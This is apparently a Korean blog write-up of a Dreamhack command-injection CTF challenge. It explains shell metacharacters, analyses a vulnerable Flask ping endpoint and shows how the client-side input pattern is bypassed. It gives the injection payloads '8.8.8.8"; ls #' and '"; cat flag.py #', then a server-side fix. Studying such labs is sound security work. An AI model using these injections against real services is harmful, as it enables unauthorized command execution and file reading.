Dreamhack Command Injection -1 Write-up
Command Injection
웹 애플리케이션을 개발하다보면, 어떤 기능에 대해서는 스스로 코드를 작성하기보다 이미 설치된 소프트웨어를 사용하는 것이 편리할 때가 있다. 예를 들어, 업로드 디렉토리에 있는 파일들의 이름을 출력하는 웹 애플리케이션을 만들 때 시스템에 내장되어있는 ls 명령어를 사용하는 것이 훨씬 간편하다.
다양한 웹 애플리케이션 제작용 언어는 시스템에 내장되어있는 프로그램들을 호출할 수 있는 함수를 지원한다.
언어 시스템 함수
| PHP | system() |
| Node.js | child_process |
| Python | os.system() |
이러한 함수는 전달된 인자를 셸 프로그램에 전달해 명령어를 실행한다. 예를 들어, system("cat /etc/passwd")를 호출하면 셸 프로그램으로 cat /etc/passwd를 실행한 것과 같다.
인젝션(Injection) 은 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법이다. 이 중, 이용자의 입력을 시스템 명령어로 실행하게 하는 취약점을 Command Injection 이라고 부른다.
Command Injection은 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생한다. 이용자의 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수 있는데, 이는 리눅스 셸 프로그램이 지원하는 다양한 메타 문자 때문이다.
셸 메타 문자
` - 명령어 치환
백틱 안에 들어있는 명령어를 실행한 결과로 치환된다.
$ echo `echo theori`
theori
$() - 명령어 치환
백틱과 동일한 역할이며, 중복 사용이 가능하다.
$ echo $(echo theori)
theori
$ echo $(echo $(echo theori)) # 중첩 사용 가능
theori
&& - 명령어 연속 실행 (Logical And)
한 줄에 여러 명령어를 사용할 때 사용한다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행한다.
$ echo hello && echo theori
hello
theori
|| - 명령어 연속 실행 (Logical Or)
한 줄에 여러 명령어를 사용할 때 사용한다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행한다.
$ cat / || echo theori
cat: /: Is a directory # 앞이 실패
theori # 그래서 뒤가 실행됨
; - 명령어 구분자
한 줄에 여러 명령어를 사용할 때 사용한다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.
$ echo hello ; echo theori
hello
theori
| - 파이프
앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.
$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)
&&, ;, | 등을 사용하면 여러 개의 명령어를 연속으로 실행시킬 수 있다. 따라서 공격자는 메타 문자를 통해 임의 명령어를 실행하여 셸을 획득할 수 있다.
문제 개요
ping 기능을 제공하는 웹 서비스에서 Command Injection 취약점을 이용해 서버 내부의 flag.py 파일을 읽어 플래그를 획득하는 문제.
엔드포인트 분석
/ping — 취약점 발생 지점
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"' # host를 큰따옴표로 감싸서 명령어 생성
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data='an error occurred')
return render_template('ping.html')
- 사용자 입력 host를 타입 검증 없이 명령어에 그대로 삽입
- /bin/sh로 실행되므로 셸 메타 문자 사용 가능
- 5초 타임아웃 존재
취약점 분석
cmd 변수는 사용자로부터 입력받은 host 값을 포함하고 있다. 하지만 사용자의 입력을 그대로 명령어로 실행하기 때문에 사용자가 악의적인 공격 코드를 주입할 수 있다.
예를 들어 host에 의도대로 8.8.8.8이 들어간다면 ping -c 3 "8.8.8.8"이 올바르게 실행되겠지만, " 문자를 임의로 삽입하여 문자열에서 빠져나온다면 원하는 명령어를 이어서 실행할 수 있다.
host = '8.8.8.8"; ls #'
cmd = 'ping -c 3 "8.8.8.8"; ls #"'
↑ ping 실행 ↑ ls 추가 실행!
클라이언트 필터링 우회
입력창에 ;을 포함한 값을 입력하면 "요청한 형식과 일치시키세요" 에러가 발생한다.
HTML <input> 태그에 pattern 속성이 설정되어 있어 영어, 숫자, .만 허용하기 때문이다.
<input type="text" class="form-control" id="Host"
placeholder="8.8.8.8" name="host" pattern="[a-zA-Z0-9.]{5,20}">
그러나 이는 클라이언트 단에서 일어나는 검증이기 때문에 우회가 가능하다. 개발자 도구(F12)를 사용해 pattern 속성을 제거하면 허용된 정규표현식에 대한 조건을 우회할 수 있다.
풀이 단계
Step 1. 개발자 도구(F12) → Elements 탭에서 input 태그의 pattern 속성 삭제
Step 2. ls 명령어로 파일 목록 확인
8.8.8.8"; ls #
실제 실행되는 명령어:
ping -c 3 "8.8.8.8"; ls #"
# ping 실행 후 ls로 현재 디렉토리 파일 목록 출력
→ flag.py 파일 존재 확인!

Step 3. cat 명령어로 flag.py 읽기
8.8.8.8"; cat flag.py #
실제 실행되는 명령어:
ping -c 3 "8.8.8.8"; cat flag.py #"
# ping 결과 아래에 flag.py 내용 출력!
💡 # 의 역할: 뒤에 남은 " 가 문법 오류를 낼 수 있으므로 #으로 주석 처리해서 무시시킴
Flag

방어 방법
클라이언트 단의 필터링은 우회가 가능하므로 서버 단에서 검증해야 한다. 또한 시스템 함수 대신 안전한 라이브러리를 사용하거나, 입력값에서 메타 문자를 필터링해야 한다.
# 위험한 코드 - 입력값을 그대로 명령어에 삽입
cmd = f'ping -c 3 "{host}"'
subprocess.check_output(['/bin/sh', '-c', cmd])
# 안전한 코드 - 인자를 분리해서 전달
subprocess.check_output(['ping', '-c', '3', host])
# 이렇게 하면 host가 명령어가 아닌 순수 인자로만 처리됨!
'CTF' 카테고리의 다른 글
| File-Download (0) | 2026.06.02 |
|---|---|
| Image-Storage (0) | 2026.06.02 |
| Mango (0) | 2026.06.01 |
| Simple SQLi (0) | 2026.05.29 |
| CSRF - 2 (0) | 2026.05.27 |